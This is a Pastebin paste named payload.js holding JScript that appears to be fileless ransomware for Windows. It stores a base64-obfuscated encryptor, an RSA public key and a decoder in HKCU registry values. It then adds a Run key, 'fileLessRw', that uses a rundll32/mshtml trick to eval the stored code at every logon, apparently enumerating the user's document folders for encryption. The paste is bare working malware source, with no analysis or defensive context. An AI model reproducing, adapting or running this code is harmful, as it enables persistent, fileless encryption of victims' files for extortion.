Advertisement
FlyFar

payload.js

Sep 23rd, 2023
144
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 48.19 KB | Cybersecurity | 0 0
  1. var encryptor = "dmFyIGRiaXRzO3ZhciBjYW5hcnk9MHhkZWFkYmVlZmNhZmU7dmFyIGpfbG09KChjYW5hcnkmMHhmZmZmZmYpPT0weGVmY2FmZSk7ZnVuY3Rpb24gQmlnSW50ZWdlcihhLGIsYyl7aWYoYSE9bnVsbClpZignbnVtYmVyJz09dHlwZW9mIGEpdGhpcy5mcm9tTnVtYmVyKGEsYixjKTtlbHNlIGlmKGI9PW51bGwmJidzdHJpbmcnIT10eXBlb2YgYSl0aGlzLmZyb21TdHJpbmcoYSwyNTYpO2Vsc2UgdGhpcy5mcm9tU3RyaW5nKGEsYil9ZnVuY3Rpb24gbmJpKCl7cmV0dXJuIG5ldyBCaWdJbnRlZ2VyKG51bGwpfWZ1bmN0aW9uIGFtMShpLHgsdyxqLGMsbil7d2hpbGUoLS1uPj0wKXt2YXIgdj14KnRoaXNbaSsrXSt3W2pdK2M7Yz1NYXRoLmZsb29yKHYvMHg0MDAwMDAwKTt3W2orK109diYweDNmZmZmZmZ9cmV0dXJuIGN9ZnVuY3Rpb24gYW0yKGkseCx3LGosYyxuKXt2YXIgeGw9eCYweDdmZmYseGg9eD4+MTU7d2hpbGUoLS1uPj0wKXt2YXIgbD10aGlzW2ldJjB4N2ZmZjt2YXIgaD10aGlzW2krK10+PjE1O3ZhciBtPXhoKmwraCp4bDtsPXhsKmwrKChtJjB4N2ZmZik8PDE1KSt3W2pdKyhjJjB4M2ZmZmZmZmYpO2M9KGw+Pj4zMCkrKG0+Pj4xNSkreGgqaCsoYz4+PjMwKTt3W2orK109bCYweDNmZmZmZmZmfXJldHVybiBjfWZ1bmN0aW9uIGFtMyhpLHgsdyxqLGMsbil7dmFyIHhsPXgmMHgzZmZmLHhoPXg+PjE0O3doaWxlKC0tbj49MCl7dmFyIGw9dGhpc1tpXSYweD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2ZpbmlzaCgpfX07Z2V0RG9jdW1lbnRGb2xkZXIoKTs=";
  3. var decoder = "var base64={};base64.PADCHAR='=';base64.ALPHA='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';base64.makeDOMException=function(){var e,tmp;try{return new DOMException(DOMException.INVALID_CHARACTER_ERR)}catch(tmp){var ex=new Error('DOM Exception 5');ex.code=ex.number=5;ex.name=ex.description='INVALID_CHARACTER_ERR';ex.toString=function(){return'Error: '+ex.name+': '+ex.message};return ex}};base64.getbyte64=function(s,i){var idx=base64.ALPHA.indexOf(s.charAt(i));if(idx===-1){throw base64.makeDOMException();}return idx};base64.decode=function(s){s=''+s;var getbyte64=base64.getbyte64;var pads,i,b10;var imax=s.length;if(imax===0){return s}if(imax%4!==0){throw base64.makeDOMException();}pads=0;if(s.charAt(imax-1)===base64.PADCHAR){pads=1;if(s.charAt(imax-2)===base64.PADCHAR){pads=2}imax-=4}var x=[];for(i=0;i<imax;i+=4){b10=(getbyte64(s,i)<<18)|(getbyte64(s,i+1)<<12)|(getbyte64(s,i+2)<<6)|getbyte64(s,i+3);x.push(String.fromCharCode(b10>>16,(b10>>8)&0xff,b10&0xff))}switch(pads){case 1:b10=(getbyte64(s,i)<<18)|(getbyte64(s,i+1)<<12)|(getbyte64(s,i+2)<<6);x.push(String.fromCharCode(b10>>16,(b10>>8)&0xff));break;case 2:b10=(getbyte64(s,i)<<18)|(getbyte64(s,i+1)<<12);x.push(String.fromCharCode(b10>>16));break}return x.join('')};base64.getbyte=function(s,i){var x=s.charCodeAt(i);if(x>255){throw base64.makeDOMException();}return x};base64.encode=function(s){if(arguments.length!==1){throw new SyntaxError('Not enough arguments');}var padchar=base64.PADCHAR;var alpha=base64.ALPHA;var getbyte=base64.getbyte;var i,b10;var x=[];s=''+s;var imax=s.length-s.length%3;if(s.length===0){return s}for(i=0;i<imax;i+=3){b10=(getbyte(s,i)<<16)|(getbyte(s,i+1)<<8)|getbyte(s,i+2);x.push(alpha.charAt(b10>>18));x.push(alpha.charAt((b10>>12)&0x3F));x.push(alpha.charAt((b10>>6)&0x3f));x.push(alpha.charAt(b10&0x3f))}switch(s.length-imax){case 1:b10=getbyte(s,i)<<16;x.push(alpha.charAt(b10>>18)+alpha.charAt((b10>>12)&0x3F)+padchar+padchar);break;case 2:b10=(getbyte(s,i)<<16)|(getbyte(s,i+1)<<8);x.push(alpha.charAt(b10>>18)+alpha.charAt((b10>>12)&0x3F)+alpha.charAt((b10>>6)&0x3f)+padchar);break}return x.join('')};var wsh = new ActiveXObject('WScript.Shell');eval(base64.decode(wsh.RegRead('HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\f')));";
  4. var pk = "-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQD+APetzL8nI0xaCVbkootKhFuBVHMjsFyQANDvpNTz4v8Y8I24ePOnMrw/wR0fhs+KSKz2yrPuh5Bcq2B0wZhrFAgRSjhOe4v9oI2xlwCIIBVTqK4Sk0R25Wi9l+atUfTE5jDzSr7rPTiBKFOOA/AYAo5Q1bOPwt597m4tFk9quQIDAQAB-----END PUBLIC KEY-----";
  5. var execute = 'rundll32.exe javascript:"\\..\\mshtml,RunHTMLApplication ";document.write("\\74script language=jscript.encode>"+eval((new%20ActiveXObject("WScript.Shell")).RegRead("HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\d"))+"\\74/script>")';
  6.  
  7. var encryptorHive = "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\e";
  8. var fileReaderHive ="HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\f";
  9. var decoderHive ="HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\d";
  10. var pkHive = "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\pk";
  11. var executeRegHive = "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\fileLessRw"
  12.  
  13. var wsh = new ActiveXObject("WScript.Shell");
  14. wsh.RegWrite (encryptorHive, encryptor, "REG_SZ");
  15. wsh.RegWrite (pkHive, pk, "REG_SZ");
  16. wsh.RegWrite (fileReaderHive, fileReader, "REG_SZ");
  17. wsh.RegWrite (decoderHive, decoder, "REG_SZ");
  18. wsh.RegWrite (executeRegHive, execute, "REG_SZ");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement